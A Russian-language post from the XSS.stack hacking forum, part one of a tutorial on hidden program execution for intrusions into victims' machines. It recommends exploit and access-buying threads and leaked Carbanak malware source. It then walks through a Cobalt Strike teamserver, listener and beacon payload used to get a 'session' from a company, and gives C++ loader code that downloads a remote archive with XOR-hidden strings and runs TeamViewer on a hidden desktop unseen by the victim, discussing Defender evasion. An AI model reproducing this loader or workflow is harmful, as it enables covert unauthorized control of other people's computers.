• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Скрытый запуск любой программы ч1

unbalance

(L3) cache
Пользователь
Регистрация
28.06.2021
Сообщения
151
Решения
1
Реакции
175
В этой статье вы можете найти отсылки к старым конкурсным статьям и к нынешним, данная статья не претендует на первенство, или то что она технически грамотная, по этому и не учавствует в конкурсе, и создана что бы разбавить хоть как то затишье и подтолкнуть кого то к активному написанию чего то новенького, ведь до конца конкурса осталось очень мало времени, а летняя жара не только размягчает мозги, но и подталкивает к лени.



1) Зачастую в атаке на сеть мы имеем в своём распоряжении данные учетных записей от дедиков.
Добытых начиная от брута и заканчивая уязвимостями серверного ПО, на форуме я нашел несколько статей которые расскажут вам как добывать доступы:

[/threads/53157/] Крутая нынешняя статья к конкурсу с тем, как находить уязвимые сервера через уязвимость в Microsoft Exchange и заполучать к ним доступы, автор очень постарался и раскрыл не только детали, но и поделился наработкой в виде скрипта, это очень круто побольше бы таких статей, почему то в этом конкурсе она всего одна...

[/threads/43115/] Еще круче было и ранее в конкурсах, в статье по уязвимости BlueKeep автор от и до показал вам как без вложений, стать флибустьером. Не ограничивал себя, и рассказал как настроить и установить мету, рабочее окружение, прояснил основы работы со сканнером для поиска уязвимых серверов и это очень крутой материал, на примере которого вы так же в будущем сможете воспользоваться знаниями из статьи, даже если уязвимость прикроют

[/threads/38004/] Так же в предыдущем конкурсе, мы могли познакомиться и с еще одной очень крутой статьей про уязвимости в Pulse Secure. Он показал, как с помощью шодана получить уязвимые адреса панелей, как с помощью абсолютно публичного сплоита прорвать защиту и получить креды. Не менее результативная чем статьи выше! А также тот же самый автор снял видосы и напиал статью в которых он показал на личном примере как ломается сеть без всяких Кобальт Страйков, вручную, на живой сети.

[/threads/38500/] По-моему, это и должно было быть в нынешнем конкурсе и принести приз победителю! Ведь это по сути и есть настоящая работа, от которой вас стараются увести в неправильном направлении, рассказами о том, что нужно учится смотря покупные курсы, бесконечные веб-семинары по пинтестингу, где большая часть это просто слайды и рожа унылого лектора, а не на практике.



2) Хотя все может быть. И у вас есть просто купленный доступ, и нередко эти доступы вообще лежат без дела у многих людей, потому что они не смогли повысить свои привилегии в системе и раздают знакомым эти доступы совершенно бесплатно.

[/threads/53138/]
Что бы помочь таким страдальцам (а с повышением вы будете страдать часто и очень много) в нынешнем конкурсе автор написал очень крутую статью, в которой он рассказывает как найти уязвимость в системе вручную, и повысится за счет ошибок в самой виндовс при взаимодействии с уязвимым софтом, ведь кобальт страйк – вам в этом не помощник, а просто обычный ратник, а человеческий ум, старания всегда способны подобрать ключ к любой системе, если действительно вникнуть в статью, вы найдете для себя очень много полезного.



3) Очень редко встречал доступы, которые получали люди в результате спам-рассылки, но думаю то, что их перепродавать тяжелее, потому что все-таки используется софт, который запускается на машине человека, открывшего письмо. Софт обычно очень интересный, ведь главная задача не только обойти почтовые фильтры, но и позволить оператору скрытно работать на машине, при рабочей сессии юзера, а также закрепиться на машине - намертво.

Такой софт, например, как у хакерской группировки Карбанак, которая работала по банкам, и была уже давно схвачена. В результате утечки мы имеем исходные коды их творения Можно поиграться с их исходниками и посмотреть, что в них есть интересного [https://github.com/Aekras1a/Updated-Carbanak-Source-with-Plugins]. Можно почитать обзор [/threads/30861/] с подробным разбором техник и приемов. Конечно этот софт имеет детекты как новогодняя елка. А кто их не имеет?

Этот софт выгодно отличается именно своей уникальностью от CobaltStrike и Meterpreter, которые у всех на слуху и лежат, как и тысячи других ратников на форумах, репозиториях. Эти софты общедоступны и ничего плохого в них нет. И созданы именно для пентестеров, которые работают по контракту с компаниями, и договариваются заранее с корпами, что бы их софт был добавлен в исключения антивирусных решений. Очень этим софтам мешают именно их детекты, именно то что они изначально настроены на то что бы палиться всеми антивирусами – справится с этой несправедливостью нам поможет пользователь с его статьей по чистке кобальта – [/threads/51076/]. Очень интересно. И как видно он большой фанат этого софта, и все что я говорил ранее про кобальт – он может с легкостью опровергнуть.



4) Я сделал этот действительно небольшой обзор всех предыдущих материалов, чтобы подобраться к сути своей статьи – давайте сделаем свой софт, который сможет хоть как-то конкурировать с поделкой от карбанака. Сможем? Я думаю нет, но сделать что то действительно удобное да Для самих себя мы всегда можем :)

Для получения сессии с подопытной машины я буду использовать кобальт страйк, давайте разберемся в его установке и настройке.
Начну пожалуй с того что мало кто новичку рассказывает как вообще запускать кобальт, как работает его инфраструктура. В установочном пакете (архиве, кряке? я не знаю как это назвать) есть две основные программы это клиент - cobaltstrike.jar и сервер - teamserver (точнее это sh скрипт который раннит cobaltstrike.jar он жеж самый только с ключами что это будет сервер, но что бы не запутать вас будем думать что его зовут teamserver). Написан софт на яве, и в кали линукс нужная версия уже установленна, кали линукс у меня будет для клиентской части - запускаться cobaltstrike, а на серверной у немя ubuntu и запускаться на ней будет - teamserver. В качестве сервера я использую самый дешевый vps который продается за крипту.

Нужно объяснить как работают все ратники: Абсолютно все ратники работают через публичный ip адресс. Те если вы запустите у себя на компьютере сервер - то клиенты не смогу к вам подключится, потому что провайдер выдает вам "виртуальный адресс", который не является вашим настоящим адрессом, а просто выдается оборудованием по типу маршрутизатора. Те по нормальному к вам никто не сможет подключится напрямую. Для этого и покупают дедики (VPS) с белым ip адресом, что бы можно было на них запускать сервера вашей вирусни, держать сайты, и многое другое ПО. Клиенты как раз могут спокойно не иметь публичного адресса, им это без надобности.

После покупки VPS (обязательно в рамках этой статьи на ubuntu) вам выдается ssh логин и пароль, а так же ip адресс по которому вы будете подключаться. Как передавать архивы через ssh, логиниться и отдавать команды я упущу потому что это темы не касается и хорошо документировано в сети и без меня. Кратко пробегусь по установке необходимых зависимостей... Для работы teamserver - ему нужна ява - установим ее так:
Код:
apt update
apt-get install openjdk-11-jdk
update-java-alternatives -s java-1.11.0-openjdk-amd64

Закидываю все файлы из архива кобальта. Выставляю права на запуск скрипту (это делать один раз) teamserver:
Код:
chmod +x teamserver

И запускаю teamserver
Код:
./teamserver 2.111.111.111 password
Где 2.111.111.111 - это публичный ip адресс нашего сервера на убунту
А password придуманный нами любой пароль для подключения нашего клиента Кобальта

Давайте подключимся к серверу через клиент, для запуска клиента кобальта я обычно использую ярлык, создайте обычный файл в вашей Кали, задайте ему название с раширением CobaltStrike.desktop откройте в любом блокноте и вставте код, с сохранинием путей до папки с вашим кобальтом для параметров Path и Icon

Код:
[Desktop Entry]
Version=1.0
Type=Application
Name=CobaltStrike
Comment=
Exec=java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar
Icon=/home/kali/Cobalt Strike/icon.jpg
Path=/home/kali/Cobalt Strike
Terminal=false
StartupNotify=false


Теперь если вы все правильно сделали с помощью клика мышки можно быстро запустить клиент, и начать процедуру подключения к вашему серверу.
Откроется окно:
connect to teamserver.png

Введите в Host 2.111.111.111 - ваш публичный ip адресс сервера
В пассворд - ваш пароль который вы придумали для запуска teamserver

Нажмите "коннект" и вы подключитесь к серверу, все должно начать выглядеть так:
cobaltstricke.png




Screenshot_2.png

Самое первое что мы должны будем сделать это настроить прослушиватели (мини-сервера, которые слушают входящие подключения на определенном порту), "listener" как они называются в кобальт, они различаются протоколами подключения наших жертв к нашему серверу. Какой то работает по HTTPS, какой то по DNS, каждый из протоколов обладает своими плюсами и преднозначен для разных целей.

Выберете в панели меню справа вверху CobaltStrike -> Listeners
Внизу вы увидете открывшийся таб, в котором есть кнопка "Add", когда вы на нее нажмете откроется окно в котором вы можете выбрать интересующий вас протокол, по которому будет общаться сервер и жертва.







Screenshot_4.png

Выберете для начала - HTTP или HTTPS протокол. Выставьте порт в соотвествии с вашим предпочтением, если нужно введите Host - ваш серверный ip. Придумайте имя и нажмите "Save"

Теперь перейдем ко второй важной части - а именно генерации полезной нагрузки
В верхнем меню выберете Attacks -> Packages. Если вы можете закриптовать экзешник, то выбирайте Windows Executable (S) - это более полный, не подгружающий ни откуда дополнительных частей бинарный файл, обычный Windows Executable - весит примерно 15 кб, а полный будет весить примерно 300 кб. Те если у тебя получилось запустить Кобу на машине чувака, то еще не значит что все остальные действия на машине его ты сможешь провести так же незаметно, потому что так или иначе для некоторых своих функций - кобальт будет дропать на диск различные дллки, например для подключения по vnc - и тут конечно - тебя обязательно обнаружит даже самый захудалый антивирус.

В самом начале цепочки атаки ведь напомню у нас нет админских прав, и антивирус включен, выключить у тебя в любом случае его не получится, если не найти возможности к повышению.

Давайте поучимся на этом экзешнике для начала. А потом перейдем к созданию чего то более интересного.
после выбора Windows Executable (S) откроется новое окно. В Output пусть будет Windows EXE. Напротив Listener - нажмите кнопку с троеточием и выбирете ваш созданный в предыдущем шаге Listener













Screenshot_5.png

После нажатия кнопки Generate вас попросят сохранить файл beacon.exe. Это и будет наш вирус. С ним возможна только криптовка, ибо он извините палится, и просто так его не почистить. Хотя в отличии от меня есть как я выше писал реальные чуваки, у которых это выходит на 5+. Я лично воспользуюсь бесплатными для меня услугами моего друга... Извиняюсь за свои лайфхаки.

Теперь когда у меня все хорошо - можно и получить сессию какой нибудь конторы. Давайте попробуем!

session_1.png




session_2.png

Прилетела сессия, и первым делом нам думаю нужно выставить таймер-задержку, через которую у нас будут выполняться команды. Я ставлю ее очень маленькой, по причине того что по дефолту у нас всегда стоит 60 секунд. Кликаем правой кнопкой мыши на строку с сессией, в выпадающем контекстном меню выбираем Session -> Sleep и выставляем в открывшемся окне 10 секунд, нажимаем сохранить. Через минуту сессия начнет работать с 10 секундной задеркой. Мы съэкономили 50 секунд в минуте. Поздравляю лол!















9010ddcb12808f3eaaacba4ff75fbff5.jpg

Все выше было жутким пабликом и к теме статьи не имеет никакого отношения вообще. (Если не нравится статья, то не пишите пожалуйста плохих комментариев, а то я разрыдаюсь :3)

Цитата от Хоблина Пушкова:
Хейтеров прошу негатив писать только с ссылкой на их материал, так же хочу пояснить, что именно такого материала и в таком корявом изложении я не видел, тема не будет актуальна для начинающих и среднего уровня ребятам, если только у вас тяжелое психическое заболевание, тогда го!

Это просто желание автора, рассказать вам, как ему нравится софт которым вы можете пользоваться прямо сейчас, если вам предлогают этому обучаться за деньги тоже не ведитесь. Дальше просто покапайтесь в менюшке, посмотрите что там к чему, изначально получается что функционал максимально скуден, но его можно расширять за счет различных скриптов. Мы же займемся чуть чуть другим :)

Как было заявлено - давайте постараемся создать какую нибудь малварку которая будет не только скрыто доставлять наш бинарник кобальта, но и абсолютно незаметно открывать даже любые графические приложения на машине жертвы.

Цитата от Хоблина Пушкова:
Когда мы уже взрослые, понимаем что к чему, тогда мы обычно используем NC или не используем, но это не важно.


GHRWYBKtSzQ.jpg

Давайте придумаем какой нибудь лоадер, именно что бы он загружал наш бинарник и запускал его на машине жертвенного агнеца.
Если у вас установлена 2019 студия, то это хорошо, если не установлена - то плохо. Если стоит какая то другая идеешка и вы ей усердно пользуетесь, то что вы забыли тут:? Мы вообще для загрузки будем использовать URLDownloadToFileA (а чего вы хотели ведь статья не про загрузку файла, юзайте что любите WinInet, WinHttp, libCurl) И шИфРоВаТь строки xor как настоящие ДеФчЕнКи ?. Если вам невыносимо плохо - немедленно выкиньте системный блок в окно, и забудьте статью как страшный сон.

Если вы еще не вышли вслед за системным блоком...
Вы должны понять что так или иначе изучение программирования, или хотя бы минимальные знания о том как собрать проект нам жизненно необходимы, тысячи профессий, сейчас требуют знания хотя бы петухона или богоподобного php для того что бы быть рабочей лошадкой, при работе на жадного дядю. Сейчас такое время, что все еще не усложнилось максимально для входа, да и мы находимся на ресурсе, на котором можно задавать любые вопросы касательно абсолютно любой тематики.

Прежде всего по техническим характеристикам лоадера, и что он будет выполнять. Напишу его на С++ что бы не считать хеши вручную, и криптовать строки так же на лету. Будет запускать КобальтСтрайк или Тимвувер (в качестве эксперемента) последней версии на скрытом рабочем столе, что это нам даст? Хрен его знает, что это нам даст если у вас нет фантазии, но для нормальных анонимусов это место для любой самой дарк фантазии. Пригодится всегда я думаю.

А если не пригодится то - вы всегда можете излить душу в комментариях, а вас послушаю и извинюсь.






Для начала произведем загрузку Тимвувера - очень будет интересно посмотреть как антивирус в нашем случае Дефендер будет ругаться на весь наш говнокод, и на загрузку при этом подписанного и доверенного приложения, но при этом загружаемого из самой юзанной школьниками функции для загрузки файла, и запускаемого на скрытом рабочем столе (на самом деле это не очень даже скрытый рабочий стол, а фишка винды еще с win xp, которая так и не вошла в обиход, в отличии от unix).

объявляем переменные под наши манипуляции
Код:
    char* appdatap = new char[512];
    char* zippdata = new char[512];
    char* tvfolder = new char[512];
    char* tvsceen  = new char[512];

получаем путь до %appdata% и к этому пути конкатинируем название нашего будущего зип-архивчека
Код:
    if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdatap)))
    {
        lstrcpyA(zippdata, appdatap);
        lstrcatA(zippdata, XorString("\\tv.zip"));

скачаем по школьному...
Код:
if (S_OK == URLDownloadToFileA(NULL, XorString("https://github.com/****/****/raw/main/tv.zip"), zippdata, 0, NULL))
{
и результат такой скачки - не палится обновленным дефендером, поздравляю! те обыкновенный дроппер - не является вирусным, какие либо функции он не использовал - если скачиваемое легитимно

создаем имя нашей будущей папки для разархивированных файлов тимвувера
Код:
lstrcpyA(tvfolder, appdatap);
lstrcatA(tvfolder, XorString("\\tv\\"));

и распаковываем
Код:
if (zip_extract(zippdata, tvfolder, NULL, NULL) >= 0)
{

итак, мы приходим к выводу, что обычный дроппер - вполне себе легитимных файлов - не вызывает детектов, видимо все таки реализация конкретного антивируса завязана либо на анализ CreateFile или NtCreateFile, запоминаем этот факт и двигаем дальше.... те кто вышел в окно с системным блоком, медленно поднимаются по лестнице к себе в квартиру. Теперь по плану у нас самая интересная часть представления, а именно создание скрытого рабочего стола, на котором мы и будем запускать наши программы, в тайне от пользователя.

Попробуем открыть скрытый рабочий стол функой OpenDesktopA, запомните что deskname - это уникальное имя для рабочего стола. Если такой рабочий стол не открылся - то самое время его создать с помощью - CreateDesktopA, так же указываем уникальное имя deskname. Но если и он по какой то причине не создался можно сворачивать лавочку и закрывать приложение.
Код:
HDESK hidden_desktop = OpenDesktopA(deskname, NULL, FALSE, GENERIC_ALL);
if (!hidden_desktop)
{
    hidden_desktop = CreateDesktopA(deskname, NULL, NULL, 0, GENERIC_ALL, NULL);
    if (!hidden_desktop)
    {
        exit(0);
    }
    printf("desktop created!\n");
}
printf("desktop open!\n");

Получив хендл нашего нового рабочего стола переходим в него
Код:
if (SetThreadDesktop(hidden_desktop))
{

А теперь можем запускать любой нужный нам софт на скрытом рабочем столе, я дернул файлики портабельного тимвувера, и сделал при этом минимальную работоспособную сборку

Screenshot_7.png

К сожалению сейчас нет сайта vxlab.info на котором вы бы могли увидеть цикл статей про создание по настоящему скрытого тимвувера, со скрытием всех окошек, всплывающих уведомлений, и вообще очень качественный материал по поиску уязвимостей в любых софтах. Очень рекомендую. Прям очень. Почитайте обязательно. Но а мы возращаемся к нашим кодесам. Запустим на скрытом рабочем столе экплорер, что бы он у нас в будущем хотя бы был:

Код:
ExpandEnvironmentStringsA(XorString("%windir%\\explorer.exe"), explorer_path, MAX_PATH - 1);
....

if (CreateProcessA(explorer_path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info))
{

А еще не помещает получить путь до нашего экзешника тимвувера и запустить его как запускали эксплорер
Код:
lstrcatA(tvfolder, XorString("TeamViewer.exe"));
if (CreateProcessA(tvfolder, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{

Процесс благополучно запускается... Запустился и на основном рабочем столе - я лично ничего не вижу. Где же открылось окошко? Куда оно делось то! Ну да оно на скрытом рабочем столе, как же мы его увидим, ребята. Давайте попробуем как нибудь его найти окно хотя бы:

Код:
HWND TeamViewer = NULL;

while (TRUE)
{
    if (NULL != (TeamViewer = FindWindowA(NULL, XorString("TeamViewer"))))
    {
        break;
    }
    Sleep(1000);
}

После того как мы обнаружили окошко, давайте постараемся сделать с него скрин:
Код:
                            RECT DesktopParams;
                            GetWindowRect(TeamViewer, &DesktopParams);

                            HDC DevC = GetDC(TeamViewer);

                            DWORD Width = DesktopParams.right - DesktopParams.left;
                            DWORD Height = DesktopParams.bottom - DesktopParams.top;
                            DWORD FileSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + (sizeof(RGBTRIPLE) + 1 * (Width * Height * 4));
                            char* BmpFileData = (char*)GlobalAlloc(0x0040, FileSize);

                            PBITMAPFILEHEADER BFileHeader = (PBITMAPFILEHEADER)BmpFileData;
                            PBITMAPINFOHEADER  BInfoHeader = (PBITMAPINFOHEADER)&BmpFileData[sizeof(BITMAPFILEHEADER)];

                            BFileHeader->bfType = 0x4D42;
                            BFileHeader->bfSize = sizeof(BITMAPFILEHEADER);
                            BFileHeader->bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

                            BInfoHeader->biSize = sizeof(BITMAPINFOHEADER);
                            BInfoHeader->biPlanes = 1;
                            BInfoHeader->biBitCount = 24;
                            BInfoHeader->biCompression = BI_RGB;
                            BInfoHeader->biHeight = Height;
                            BInfoHeader->biWidth = Width;

                            RGBTRIPLE* Image = (RGBTRIPLE*)&BmpFileData[sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)];
                            RGBTRIPLE color;

                            HDC CaptureDC = CreateCompatibleDC(DevC);

                            HBITMAP CaptureBitmap = CreateCompatibleBitmap(DevC, Width, Height);
                            SelectObject(CaptureDC, CaptureBitmap);

                            if (PrintWindow(TeamViewer, CaptureDC, 0))
                            {
                                BitBlt(DevC, 0, 0, Width, Height, CaptureDC, 0, 0, SRCCOPY | CAPTUREBLT);
                                GetDIBits(CaptureDC, CaptureBitmap, 0, Height, Image, (LPBITMAPINFO)BInfoHeader, DIB_RGB_COLORS);

                                DWORD Junk;
                                HANDLE FH = CreateFileA(tvsceen, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0, 0);
                                WriteFile(FH, BmpFileData, FileSize, &Junk, 0);
                                CloseHandle(FH);
                                GlobalFree(BmpFileData);
                            }
                        }

И сохраняем этот скрин в папку с тимкой. Тимка теперь будет очень рад!

Давайте запустим наше чудо-юдо и посмотри что получилось:
session_7.png

screen.png


А теперь наберите в грудь воздуха, обязательно отпейте чая, и прочитайте спойлер ниже:

Эта сука не подключается к клиенту!!! В топку её в самое пекло ада! Ave Satani

Мы двигались семимильными шагами точно к провалу, использовали функции которые нельзя было использовать - но каким то чудестным чудом обходили дефендер, мы запускали на рабочем столе, то что никогда не должно было там работать... И вы думате на этом всё?
 

Вложения

  • AutoScript.zip
    213.9 КБ · Просмотры: 49
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх